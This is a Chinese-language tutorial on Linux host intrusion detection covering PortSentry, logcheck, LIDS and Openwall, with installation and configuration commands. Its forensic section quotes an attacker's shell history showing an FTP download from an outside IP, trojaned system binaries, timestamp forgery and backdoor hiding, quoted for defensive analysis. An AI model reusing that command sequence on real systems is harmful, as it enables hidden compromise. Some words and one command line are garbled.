当前页面位置: » 丰搜网 » 文档中心 » 详细内容
linux入侵检测
这篇文章主要是关于适用于linux的几种基于主机的入侵检测系统。特别的，我们将会覆盖一些怎么安装这些软件包的要素，已经它们的用处和什么时候能够用到这些东西。
系统安全101
本文将为大家展示一些基础的系统安全知识。特别的，我假设很多常见的安全措施已经被用来抵抗来自inte.net对主机的入侵。这些安全措施主要是：
防火墙，确定了系统的来自inte.net的用户对哪些tcp或者udp端口有访问的权限。例如：我们通过一些很简单的web server防火墙的规则设置，就可以确定这台机器只有用来提供http服务的80端口向用户开放。
系统是不需要没有用处的守护进程的。例如：一个web服务器一般只需要一个正在运行的进程来服务web页面。进程并不是就是和服务与web页面相关联的，譬如rpc/portmap服务，nfs服务，x font服务，dns域名服务，其他外来的或者是没有什么用处的应用软件应该被关掉或者是禁用。在red hat linux的系统中，通常我们用一种运行等级的编辑器来进行有关的设置，譬如我们可以用ntsysv 或者tksysv来禁用其中的那些没有要求的守护进程。
通过编辑和修改/etc/.netd.conf可以屏蔽一些不用的端口。作为一个典型的默认值，我们安装一个新的linux系统的时候，/etc/.netd.conf默认的打开了很多端口。所有的系统都应该通过编辑/etc/.netd.conf，删除或者是注释掉其中的一些行，用来禁用那些没有用处的端口，这是最基本的系统安全行为。
警戒线（lines of defense）：
图解一、多层系统安全
这一部分，我们将讨论一个多层通道的系统安全问题。当其中一些安全层被破坏的时候，很多安全层能够独立的应用来提供一些额外的防卫。图1就是一种多层结构的系统安全模型。
图表中的每一层都会为自己的上一层提供额外的数据保护。例如：第一层是防火墙，如果防火墙没有阻挡住外界的入侵尝试，那么第二层-端口守护程序就会提供额外的保护。进一步，里面的安全系统是lids和logcheck程序，在入侵尝试没有被第二层截获的时候也会进行保护。
监控当前连接
防火墙后的第一防护层是用来监控当前与主机的连接尝试的软件包。端口守护程序包（ http://www.psionic.com/abacus/portsentry/ ）提供了一些简洁和有用方式来完成这些事情。
端口守护（portsentry）程序的作用
端口守护程序的主要作用监控一些特殊的tcp/ip端口的活动情况。portsentry监视并报告一些端口的活动，其中的一种情况可能被选中，包括拒绝进一步的连接尝试。这是一种很重要的防护措施，因为一般的黑客在入侵一个系统之前都会将会使用一些工具来探测系统的漏洞和弱点。察觉到探测器或者是端口扫描，就可以彻底的切断一些潜在地黑客进一步的连接尝试，中止一些带有入侵意图的进一步的端口扫描。
安装portsentry
对于red hat的用户来说，red hat的ftp服务器上的rpm包里面包含了这个程序。这个站点在全球都有它的镜像，你可以在www.redhat.com上面查找距离你最近的站点。我还不能确定.deb格式的软件包中间是portsentry这样的程序，但是我可以确认那里肯定是有这个软件的。对于其他linux用户来说，通过原码来安装这个软件也是相当地简单的。
推荐配置
portsentry有很多运行模式，包括不同的udp和tcp秘密运行的模式。我选择的运行机制是把portsentry绑定在那些没有被使用的或者是认为有潜在的入侵可能的tcp端口上。例如：我将24小时连续的扫描我的web服务器上面的这些端口，port 143 (imap2), port 111 (portmap) 和port 23 (te.net)都是我的inte.net系统上没有使用的tcp端口。你可以通过这条命令：
portsentry -tcp
在你的系统启动的时候就使portsentry进入基本的tcp运行模式。同时要保证portsentry的配置文件portsentry.conf中包含了tcp_ports这行配置来扫描你需要进行扫描的端口。
反应选项
你能通过portsentry.conf中的"response options"部分来详细的说明什么样的反应是portsentry察觉了一些不期望的连接。通常我会使用ipchains来中断那些来自于连接的源方的进一步连接。这个也可以通过portsentry.conf中下面这样一行来进行配置：
kill_route="/sbin/ipchains -i input -s $target$ -j deny -l"
在接受来自高端口的扫描行为的时候，可以通过删除上面一行中的-l这个选项来屏蔽这些进一步的连接，可以有效的维持系统日志空间。
监视系统日志
诸如防火墙系统、portsentry这样的软件可以有效的监视或者是屏蔽一些端口的不期望的连接。这样可以防止最典型的那种"扫描－入侵"的攻击方式。
当系统需要运行特殊的服务（例如：apache web server，或者是绑定了一个dns服务）的时候，同时有黑客破解了这种服务中的一些攻击点，这些程序就会很不幸运的不能保持把所有的入侵者拒之门外。绑定运行着一个容易受攻击的程序的dns服务器，这些端口最终总是要被一些黑客通过扫描很广范围的机器的特定的一个端口，并且会试图通过这个端口来入侵系统。很不幸，防火墙或者是portsentry程序会将这些入侵尝试当作正常的合理的连接。
系统日志检测（logcheck）
logcheck是用来扫描系统日志文件的软件（http://www.psionic.com/abacus/logcheck/ ）。logcheck会扫描系统日志文件（在linux系统中，系统日志文件在/var/log/目录下面），同时当系统出现一些异常的时候，logcheck就会通过email来通报给管理员。系统日志文件中的异常的消息通常是表示有一些黑客正在尝试入侵或者是正在侵入系统。
安装logcheck
logcheck有四个主要的配置文件。在rpm版本中，这几个配置文件在/etc/logcheck目录下面。通常我们只需要配置logcheck.ignore和logcheck.violations.ignore这两个文件。我在安装完logcheck后的程序一般是这样的：
允许logcheck在正常的运行模式下面运行一次，这样将会一个巨大的输出文件，不过我们可以把这个文件删除算了。
24小时以后让logcheck再次运行一次，这次我们会在日志文件的入口处中发现产生了一些新的东西，同时也是一个很大的但是仍然可以计算大小的文件。仔细的阅读这个文件。
在文件的入口处有一些不需要我们关心的特定的字符串，如果这些字符串时一些"违反安全"的片断，我们可以将这些字符串片断加入到logcheck.violations.ignore文件中；或者当他们是"异常系统事件"的时候，我们就将这些字符串加到logcheck.ignore中。
在这几个星期中，每隔12~24小时就重复一下这些步骤。在这个阶段中，我们反复的设置.ignore文件的过滤规则，最后剩下的就是我们的系统真正关心的了。
注意到rpm文件指定logcheck每小时运行一次，但是我只需要每天运行一次，除非是在特定的需要监视的系统。这样可以每天把/etc/cron.hourly/logcheck这个文件拷贝到/etc/cron中一次。
基于内核的入侵检测
基于内核的入侵检测是一种相当巧妙的新型的linux入侵检测系统。现在最主要的基于内核的入侵检测系统叫做lids，并可以从http://www.lids.org/ 下载。
什么是lids？
lids是一种基于linux内核的入侵检测和预防系统。
lids的保护目的是防止超级用户root的篡改系统重要部分的。lids主要的特点是提高系统的安全性，防止直接的端口连接或者是存储器连接，防止原始磁碟的使用，同时还要保护系统日志文件。lids当然也会适当制止一些特定的系统操作，譬如：安装sniffer、修改防火墙的配置文件。
lids文档工程
lids比安装portsentry和logcheck要复杂一点，但是很幸运的是，在lids的主页上面有详细的安装和配置手册。
安装lids
首先，在安装之前，我们需要大部分最新的lids软件包（我使用的是0.9）和适当的内核版本。我现在使用的是从red hat主页上下载的2.2.14-12版本的内核，因为其中包含一些安全补丁。同时你也需要你使用的内核的一些源代码。
现在的lids主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的red hat linux 6.2上面安装了lids。在安装lids之前，我在ftp.redhat.com下载了最新的内核版本，并且依照http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html 安装了这个内核。
接着的事情就是升级内核源代码。这里我们是这样做的：
rpm -uhv kernel-source-2.2.14-12.i386.rpm
然后就是编译和安装lidsadm这个程序：
cd /usr/local/src/security/lids-0.9/lidsadm-0.9
make
make install
生成一个ripemd-160口令，这个以后将会在安装进内核的：
lidsadm -p
输入口令是"anypass"，得到秘钥"d502d92bfead11d1ef17887c9db07a78108859e8"。接着，我把redhat的配置文件拷贝到我的结构体系中，在/usr/src/linux目录下面：
cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我们就使用下面的命令来安装lids：
cd /usr/src
patch -p0 同时我们应该注意到red hat所提供的内核和linus发布的标准的2.2.14版本的内核有一些细微的差别，因为其中包含一些修改过的驱动程序。同样lids-0.9-2.2.14-redhat.patch文件也是和lids发布的标准的lids-0.9-2.2.14.patch有一些细微的差别，不过可能后者并不是特别适合于red hat系统。
最后，就是配置、编译和安装内核了：
cd /usr/src/linux
make menuconfig
make dep; make clean
make
install; make modules; make modules_install
下面的脚本展示了在配置内核的过程中我设置的lids配置选项：
[*] linux intrusion detection system support (experimental)
--- lids features
[ ] hang up console when raising a securit alert
[*] security alert when execing unprotected programs before sealing
[ ] do not execute unprotected programs before sealing lids
[*] enable init children lock feature
[*] try not to flood logs
(60) authorised time between two identic logs (seconds)
[*] allow switching lids protections
ripemd-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
(3) number of attempts to submit password
(3) time to wait after a fail (seconds)
[*] allow remote users to switch lids protections
[ ] allow any program to switch lids protections
[*] allow reloading config. file
[ ] hide some known processes
[*] port scanner detector in kernel
[ ] send security alerts through.network
--- special authorizations
[ ] allow some known processes to access /dev/mem (xfree, etc.)
[ ] allow some known processes to access raw disk devices
[ ] allow some known processes to access io ports
[ ] allow some known processes to change routes
--- special ups
[*] allow some known processes to unmount devices
allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d.netfs"
[*] unmounting capability is inherited
[*] allow some known processes to kill init children
allowed processes: "/etc/rc.d/init.d/halt"
[*] killing capability is inherited
看得出，我没有使用ups，同时运行的是一个需要能够远程访问的服务器，我就按照上面的文件进行了配置，但是在实际应用过程中，每个人的系统根据环境不一样，会有一些差别。
配置lids:
有一条特别要引起注意：在你的系统的下一次重启之前就应该配置好lids！我们应该使用lidsam来配置lids的配置文件/etc/lids.conf，而不能手动的修改。运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。lids提供了很多使用lids保护文件的例子，例如：
lidsadm -a -r /sbin 这条命令保护/sbin整个目录，并且表示只读。
我首先的lids配置文件应该是这样的：
lidsadm -z
lidsadm -a -r /usr/bin
lidsadm -a -r /bin
lidsadm -a -r /usr/sbin
lidsadm -a -r /sbin
lidsadm -a -r /usr/x11r6/bin
lidsadm -a -r /etc/rc.d
lidsadm -a -r /etc/sysconfig
一旦配置了lids的配置文件，就应该修改系统的启动文件保证在系统启动的时候就能运行lids，这样就能有效的在内核中启动lids的作用。一般我都是把lidsadm加到/etc/rc.d/rc.local的末尾，这样能够保证lids的功能不会妨碍系统的其他应用程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动lids的脚本：
/sbin/lidsadm -i -- -cap_sys_module -cap_sys_rawio -cap_sys_admin
-cap_sys_ptrace -cap.net_admin -cap_linux_immutable
+init_children_lock
配置lilo
我们知道，使用redhat的rpms升级系统内核以后需要重新配置lilo.conf来保证编译加载过lids的新内核能够正常的启动。在下次重启之后，lids将会在系统中运行，不过如果你需要停止lids而执行一些系统的任务，就应该按照下面的命令进行：
/sbin/lidsadm -s -- -lids或者/sbin/lidsadm -s -- -lids_global
你需要提供lids的口令，当时在编译内核的时候在内核中加入了ripemd-160格式。不知道你是否注意到了，在shutdown的脚本中，很多脚本都不能正常的工作。最终的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件rc.local中 "+init_children_lock"的保护作用，其他的进程都没有权限来杀掉init()的其他子进程。同时每隔10分钟，你就会收到一个关于"rmmod as"不能卸载模块的出错信
息。这个主要是由于lids启动以后"-cap_sys_module"的保护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。
lids能够保护什么？
快速的浏览lids的文档就可以了解lids的一系列特性。而我认为下面的这些特性是最重要的：
cap_linux_immutable 当文件和外那间系统被标识"immutable"防止被写；
cap.net_admin 防止篡改网络配置（例如：防止路由表被修改）；
cap_sys_module 防止内核模块被插入或者移除；
cap_sys_rawio 防止损坏磁盘或者设备i/o；
cap_sys_admin 防止大范围的使用其他系统功能；
init_children_lock which prevents child processes of the init() master pro
cess from being tampered with.
无论在哪个点，上面这些特性都能够通过命令"lidsadm -i"来启动，通过"lidsadm -s"来禁用（可以允许真正的系统管理员来进行系统配置），同时提供已经安装在内核中的lids口令（是通过ripemd-160加密的）。
剖析一次入侵
最近我一直忙于检查一些被黑过的机器，来推断一些被入侵的原因还有核实黑客对系统破坏。很幸运，一些黑客不是特别的聪明，在入侵一些系统之后没有设法彻底的抹掉痕迹。当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限，这个时候就是主机被入侵了（事实上是不可能发生的，但是安装linux系统的人忘记了打上redhat最新的关于缓冲区溢出的补丁程序，并且让系统一直运行着）。当然一些黑客也不够小心，当他们侵入主机后，很急切的获得了shell，但是他们经常没有考虑到bash的命令将会被存入系统日志文件中，简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们可以看看（为了更加简单我们做过一些细微的修改）：
mkdir /usr/lib/... ; cd /usr/lib/...
ftp 200.192.58.201 21
cd /usr/lib/...
mv.netstat.gz?.netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
mv tcpd.gz? tcpd.gz
gzip -d *
chmod +x *
mv.netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
mv pt07 /usr/lib/; mv pstree /usr/bin ;
/usr/lib/pt07
touch -t 199910122110 /usr/lib/pt07
touch -t 199910122110 /usr/sbin/syslogd
touch -t 199910122110 /usr/sbin/tcpd
touch -t 199910122110 /bin/ps
touch -t 199910122110 /bin.netstat
touch -t 199910122110 /usr/bin/pstree
cat /etc/.netd.conf grep -v 15678 >> /tmp/b
mv /tmp/b /etc/.netd.conf
killall -hup .netd
通读这些内容，我们就可以了解下面的一些动作：
系统中建立了一个名字异常的目录（/usr/lib），接着黑客te.net到了自己的主机上面（200.192.58.201，是brazil某个地方的拨号用户），同时下载了一套黑客工具。这些黑客工具尸没有经过压缩的，中间的一些特洛伊二进制程序被安装到了系统中了，这些特洛伊程序覆盖了系统.netstat，ps， tcpd， syslogd和pstree命令。这些程序是用来报告系统有那些进程正在运行，那些端口是打开的。
我们从中能学到什么呢？
首先，lids是不能阻止一次入侵的，黑客连接上主机通过缓冲区溢出的方式获得系统的root权限。一旦系统没有黑客入侵，我们看看lids是如何使破坏降到最低的：
lids通过cap_linux_immutable选项可以防止特洛亦程序被写入到/bin，/usr/bin，/usr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的（chattr +i），因而也不会被修改。我们可以注意到，就算不使用lids，也可以通过chattr +i命令来标识目录为不可变的，但是如果是通过lids以后，即使是root也不能篡改不可变标识位。类似的，如果文件通过chattr +i被标识为，touck -t这个命令也会失败。甚至第一行的"mkdir /etc/lib"这个命令也会失败，如果我们标识文件为不可读的话。
lids不能防止黑客入侵，但是可以防止入侵的黑客在侵入后进行很大的系统破坏。一个后门程序可以被安装上系统，但是没有特洛亦版本的ps.netstat和pstree能够很早的发现这个后门进程，然后kill之。如果没有lids，我们不可能知道黑客通过这个后门程序会做一些什么事情，我们唯一能够进行挽回的工作就是重装系统。
openwall和lids：额外的层
另外一个和lids相似的系统是openwall工程（http://www.openwall.com/linux/ ）。openwall工程在很多地方和lids不一样，有一个openwall的特别的补丁就是使栈区为不可执行。下面是摘自openwall的readme文档里面的申明：
大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中的地址，如果堆栈为不可执行，那么缓冲区溢出的弱点将会变得很难攻击。另外一种缓冲区溢出的方式是在libc中指出一个函数的返回地址，通常是system()。这个补丁通过修改mmap()化的共享库，使其总是一个零字节的文件。这样使其不能再指定一些数据，在很多攻击中不得不使用asciiz字符串。
最近，在lids的网上上有一些完整的lids＋openwall的内核补丁，这样可以提供lids和openwall都具备的特性。
总结
在linux系统中，通过使用这一系列的多层的安全措施，可以防止很大范围的攻击，同时还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口，在网络接口，系统内核上我们都可以防止他人的入侵。意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务，不管是root用户还是非root用户运行的，都能够成为一个潜在的安全威胁。充分准备好面对这些威胁。
